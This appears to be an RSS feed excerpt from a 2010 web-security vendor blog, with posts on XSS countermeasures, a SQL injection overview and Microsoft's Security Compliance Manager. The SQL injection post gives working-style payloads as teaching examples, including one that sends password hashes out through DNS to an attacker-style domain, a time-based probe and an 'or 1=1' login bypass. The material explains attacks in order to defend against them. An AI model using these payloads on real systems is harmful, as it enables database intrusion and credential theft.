<p class="MsoNormal"><span>The Web Application Security Consortium provides some very good </span><a href="http://projects.webappsec.org/Cross-Site-Scripting" target="_blank">examples of XSS attack types</a><span>, including a useful classification of them into persistent, and non-persistent, and DOM-based attacks.</span></p>
<p class="MsoNormal"><span>Assuming you cannot force your users to turn off client side scripting (and that maybe you would like to continue making use of it yourself), then you need to be aware of the various countermeasures for combating XSS.  Here are the most common ones:</span></p>
<p class="MsoNormal"><strong><span>Input Validation</span></strong></p>
<p class="MsoNormal"><span> </span></p>
<p class="MsoNormal"><span>Input validation, also referred to as HTML sanitization, is a standard way of eliminating XSS vulnerabilities.  This involves not trusting any user input until it has been subjected to some sort of test to make sure it does not contain any possible XSS exploits. Requests with undesirable characters in input fields might be rejected completely, or else the offending characters might stripped and/or replaced with alternative representations that cannot result in successful XSS attacks.  Such validation may be done using either a blacklist or whitelist approach, or some combination of both.</span></p>
<p class="MsoNormal"><span> </span></p>
<p class="MsoNormal"><span>A blacklist (or negative security model) refers to a mechanism that allows all imputed characters as valid user input, except for those that are singled out (blacklisted) as being dangerous to the application.  Very simple anti-XSS blacklists often contain a small set of characters thought essential carrying out XSS attacks such as (PROVIDE EXAMPLES).  The blacklist approach has the advantage of being relatively easy to set up and maintain (often one list is used for all input fields).  But by the same token it is also relatively easy to evade with more sophisticated forms of XSS.</span></p>
<p class="MsoNormal"><span> </span></p>
<p class="MsoNormal"><span>The whitelist (or positive security model) approach to input validation takes the opposite tack.  Rather than specifying which characters are not allowed, it allows no characters by default, except those that are known to be safe for the application (whitelisted). An example of this could be that a field in a form meant to receive U.S. social security numbers only allows four numeric characters separated by two dashes.  The benefit of a whitelist approach is that it is far harder to evade than a blacklist.  The trade-off is that implementing and maintaining a strict whitelist is generally far more difficult to do, since the appropriate list of allowed characters tends to vary with the type of field, and matching the correct list to the correct field requires up-to-date knowledge of the application’s details.</span></p>
<p class="MsoNormal"><span> </span></p>
<p class="MsoNormal"><span> </span></p>
<p class="MsoNormal"><strong><span>Output Escaping / Encoding</span></strong></p>
<p class="MsoNormal"><span> </span></p>
<p class="MsoNormal"><span>&#8220;</span><a href="http://www.owasp.org/index.php/XSS_(Cross_Site_Scripting)_Prevention_Cheat_Sheet#XSS_Prevention_Rules" target="_blank">Escaping</a><span>&#8221; is a technique used to ensure that characters are treated as data, not as characters that are relevant to the interpreter&#8217;s parser. Escaping is the primary means to make sure that untrusted data can&#8217;t be used to convey an injection attack. There is no harm in escaping data properly - it will still render in the browser properly. Escaping simply lets the interpreter know that the data is not intended to be executed, and therefore prevents attacks from working.</span></p>
<p class="MsoNormal"><strong><span>Cookie security</span></strong></p>
<p class="MsoNormal"><span> </span></p>
<p class="MsoNormal"><span>Many web applications rely on session cookies for authentication between individual HTTP requests, and because client-side scripts generally have access to these cookies, simple XSS exploits can steal these cookies. To mitigate this particular threat (though not the XSS problem in general), many web applications tie session cookies to the IP address of the user who originally logged in, and only permit that IP to use that cookie. This approach can have serious drawbacks however due to the fact that many IP addresses cycle through an array of variable combinations do to proxy servers and load balancing. Another tactic is to expire unused session cookies. </span></p>
<p class="MsoNormal"><span> </span></p>
<p class="MsoNormal"><strong><span>Software</span></strong></p>
<p class="MsoNormal"><span> </span></p>
<p class="MsoNormal"><span>Web Application Firewalls (WAF) provide a valuable means of supplementing your Web security efforts. Along with well written code and input validation / sanitation, WAFs are another line of defense to ensure that your Web server is not a victim of a malicious attack and that your company can prove its </span><a href="https://www.pcisecuritystandards.org/pdfs/infosupp_6_6_applicationfirewalls_codereviews.pdf" target="_blank">PCI compliance</a><span> as well.</span></p>
<p class="MsoNormal">
<p class="MsoNormal"><span>Port80’s ServerDefender VP Web Application Firewall software blocks XSS attacks often used in conjunction with phishing, social engineering, and other browser exploits, ultimately preventing malicious HTML or client-side scripts from being injected into Web pages viewed by others.</span></p>
<p class="MsoNormal"><span> </span></p>
<p class="MsoNormal"><strong><span>In Conclusion</span></strong></p>
<p class="MsoNormal"><span> </span></p>
<p class="MsoNormal"><span>Protecting your Web site, and subsequently your visitors, against XSS and other Internet based attacks, is important for not only securing your valuable database information, but also for making sure that your organization can be seen as a trusted and responsible player in the Internet market.</span></p>
<p class="MsoNormal"><span> </span></p>
<p class="MsoNormal"><span>/ P80</span></p>
]]></content:encoded>
			<wfw:commentRss>http://blog.port80software.com/2010/08/09/dont-let-xss-fake-out-traffic/feed/</wfw:commentRss>
		</item>
		<item>
		<title>From Blind to Targeted Attacks</title>
		<link>http://blog.port80software.com/2010/07/02/from-blind-to-targeted-attacks/</link>
		<comments>http://blog.port80software.com/2010/07/02/from-blind-to-targeted-attacks/#comments</comments>
		<pubDate>Fri, 02 Jul 2010 21:56:00 +0000</pubDate>
		<dc:creator>admin</dc:creator>
		
		<category><![CDATA[Web Security Tools]]></category>

		<guid isPermaLink="false">http://blog.port80software.com/?p=699</guid>
		<description><![CDATA[A SQL Injection overview
A SQL injection attack exploits the fact that in a typical dynamic Web site or application layer (ie. ASP.NET, PHP, etc) ultimately has access to a database layer. By using the application&#8217;s own code to get at the database, SQL injection attacks can do almost unlimited mischief: steal or corrupt sensitive data, [...]]]></description>
			<content:encoded><![CDATA[<p><em>A SQL Injection overview</em></p>
<p>A SQL injection attack exploits the fact that in a typical dynamic Web site or application layer (ie. ASP.NET, PHP, etc) ultimately has access to a database layer. By using the application&#8217;s own code to get at the database, SQL injection attacks can do almost unlimited mischief: steal or corrupt sensitive data, host malware on the site, damage or even seize control of the entire application. This article provides a short overview of SQL injection and how it can be damaging to your Web applications.<span id="more-699"></span></p>
<p>There are two ways an attacker can identify SQL injection vulnerabilities:</p>
<p><strong>Error messages</strong>: The first method used to identify and exploit SQL injection is through information provided by errors generated by the Web application during initial probing. These HTTP 500-range errors if not suppressed will often include the text of the offending SQL statement and/or the details of why it failed to execute properly. Such information is very helpful when crafting progressively more effective exploits because it helps the attacker discern database schema and other valuable clues about how the app is put together.</p>
<p><strong>Blind Injection</strong>: Blind SQL injection is identical to normal SQL Injection except that when an attacker attempts to exploit an application, rather then getting a useful error message, they get a generic page specified by the developer instead. This makes exploiting a potential SQL Injection attack more difficult but not impossible. An attacker can still steal data by asking a series of True and False questions through SQL statements.</p>
<p><strong>SQL injection is broken up into 3 classes:</strong></p>
<p><strong>Inband - </strong>data is extracted using the same channel that is used to inject the SQL code. This is the most straightforward kind of attack, in which the retrieved data is presented directly in the application web page</p>
<p style="padding-left: 30px;"><em>Example:</em></p>
<p style="padding-left: 30px;">Input:<br />
http://[site]/page.asp?id=1 or 1=convert(int,(USER))&#8211;</p>
<p style="padding-left: 30px;">Output:<br />
Syntax error converting the nvarchar value &#8216;[j0e]&#8216; to a column of data type int.</p>
<p><strong>Out-of-band - </strong>data is retrieved using a different channel (e.g.: an email with the results of the query is generated and sent to the tester)</p>
<p style="padding-left: 30px;"><em>Example:</em></p>
<p style="padding-left: 30px;">http://[site]/page.asp?id=1;declare @host varchar(800); select @host = name + &#8216;-&#8217; +master.sys.fn_varbintohexstr(password_hash) + &#8216;.2.pwn3dbyj0e.com&#8217; fromsys.sql_logins; exec(&#8217;xp_fileexist &#8221;\\&#8217; + @host + &#8216;\c$\boot.ini&#8221;&#8217;);&#8211;</p>
<p><strong>Inferential - </strong>no actual data is transferred - rather, a difference in the way an application behaves can allow an attacker to infer the value of the data.</p>
<p style="padding-left: 30px;"><em>Example:</em></p>
<p style="padding-left: 30px;">http://[site]/page.asp?id=1;if+not(select+system_user)+&lt;&gt;+&#8217;sa&#8217;+waitfor+delay+&#8217;0:0:5&#8242;&#8211;</p>
<p style="padding-left: 30px;"><em>(ask it if it&#8217;s running as &#8217;sa&#8217;)</em></p>
<p style="padding-left: 30px;">*source - http://www.defcon.org/images/defcon-17/dc-17-presentations/defcon-17-joseph_mccray-adv_sql_injection.pdf</p>
<p><strong> </strong><strong> </strong></p>
<p><strong>SQL Injection attacks put you at great risk for:</strong></p>
<ul type="disc">
<li>Unauthorized changes or deletion of sensitive business information</li>
<li>Theft of customer information (ie social security numbers, addresses, and credit card numbers)</li>
<li>Financial and Intellectual property loss</li>
<li>Legal liability and PCI non-compliance</li>
</ul>
<p><strong> </strong></p>
<p><strong>How to test if your Web site is vulnerable to attack</strong></p>
<p>One of the simplest ways, among many, to test your Web site would be to input a break into the underlying code and insert a SQL expression that evaluates to True into the login or password form fields, or URL.</p>
<p>Example:</p>
<ul type="disc">
<li>Login: hi&#8217; or 1=1&#8211;  /  Password: hi&#8217; or 1=1&#8211;<br />
(hi&#8217;) breaks in the string (1=1) injection code (&#8211;) comment</li>
<li>http://mysite/index.asp?id=hi&#8217; or 1=1&#8211;<br />
In the query string of a request that looks like it is passing parameters back to the database</li>
</ul>
<p>This is just the tip of the iceberg, for more robust testing procedures OWASP provides an extensive guide at:</p>
<p><a href="http://www.owasp.org/index.php/Testing_for_SQL_Injection_(OWASP-DV-005)">http://www.owasp.org/index.php/Testing_for_SQL_Injection_(OWASP-DV-005)</a></p>
<p><strong></strong></p>
<p><strong>How to protect your Web server</strong></p>
<p>There are a number of possible countermeasures these include:</p>
<ul type="disc">
<li>using a list of acceptable characters to constrain input</li>
<li>using parameterized SQL for data access</li>
<li>using a least privileged account that has restricted permissions in the database</li>
<li>using stored procedures with parameterized SQL<br />
(recommended approach because SQL parameters are type safe)</li>
</ul>
<p>A complete step-by-step guide to protecting against SQL injection can be found at:</p>
<p><a href="http://msdn.microsoft.com/en-us/library/ff648339.aspx">http://msdn.microsoft.com/en-us/library/ff648339.aspx</a></p>
<p>All of the above countermeasures may require changes to existing code as well as careful maintenance to make sure best practices are being followed.  This might not always be practical and, even when it is, might not catch every vulnerabilty. A Web Application Firewall, such as Port80&#8217;s <a href="http://www.port80software.com/products/serverdefendervp/">ServerDefender VP</a>, can protect your database by scrutinizing incoming data and applying a set of strict Web application security controls. An effective Web Application Firewall becomes the gatekeeper to your Web application so you can rest assured that hackers cannot gain entry and wreak havoc with your most valuable Web-based assets.</p>
<p>/ P80</p>
]]></content:encoded>
			<wfw:commentRss>http://blog.port80software.com/2010/07/02/from-blind-to-targeted-attacks/feed/</wfw:commentRss>
		</item>
		<item>
		<title>The Windows Server 2008 Security Compliance Manager</title>
		<link>http://blog.port80software.com/2010/07/02/windows-server-2008-security-compliance-manager/</link>
		<comments>http://blog.port80software.com/2010/07/02/windows-server-2008-security-compliance-manager/#comments</comments>
		<pubDate>Fri, 02 Jul 2010 18:58:38 +0000</pubDate>
		<dc:creator>admin</dc:creator>
		
		<category><![CDATA[Web Security Tools]]></category>

		<category><![CDATA[iis security]]></category>

		<category><![CDATA[web application firewall]]></category>

		<guid isPermaLink="false">http://blog.port80software.com/?p=695</guid>
		<description><![CDATA[A new helpful free tool from Microsoft, the Security Compliance Manager provides an end-to-end solution to help plan, deploy, and monitor the security baselines of computers running Windows Server 2008.
The Security Compliance Manager provides centralized security baseline management features, a baseline portfolio, customization capabilities, and security baseline export flexibility to accelerate your organization&#8217;s ability to [...]]]></description>
			<content:encoded><![CDATA[<p>A new helpful free tool from Microsoft, the Security Compliance Manager provides an end-to-end solution to help plan, deploy, and monitor the security baselines of computers running Windows Server 2008.</p>
<p>The Security Compliance Manager provides centralized security baseline management features, a baseline portfolio, customization capabilities, and security baseline export flexibility to accelerate your organization&#8217;s ability to efficiently manage the security and compliance process for the most widely used Microsoft technologies.</p>
<p>This tool allows you to access the complete database of Microsoft recommended security settings, customize your baselines, and then choose from multiple formats-including Desired Configuration Management (DCM) packs, Security Content Automation Protocol (SCAP), XLS, or Group Policy objects (GPOs)-to export the baselines to your environment and automate the security baseline compliance verification process.</p>
<p>Combining use of a professional Web Application Firewall with the Security Compliance Manager will enable you to achieve a secure, reliable, and centralized IT environment that will help you better balance your organization&#8217;s needs for security and functionality.</p>
<p>To get more information about downloading a copy of the <a href="http://technet.microsoft.com/en-us/library/cc514539.aspx">Security Compliance Manager</a> visit Microsoft&#8217;s TechNet site.</p>
<p>/ P80</p>
]]></content:encoded>
			<wfw:commentRss>http://blog.port80software.com/2010/07/02/windows-server-2008-security-compliance-manager/feed/</wfw:commentRss>
		</item>
	</channel>
</rss>

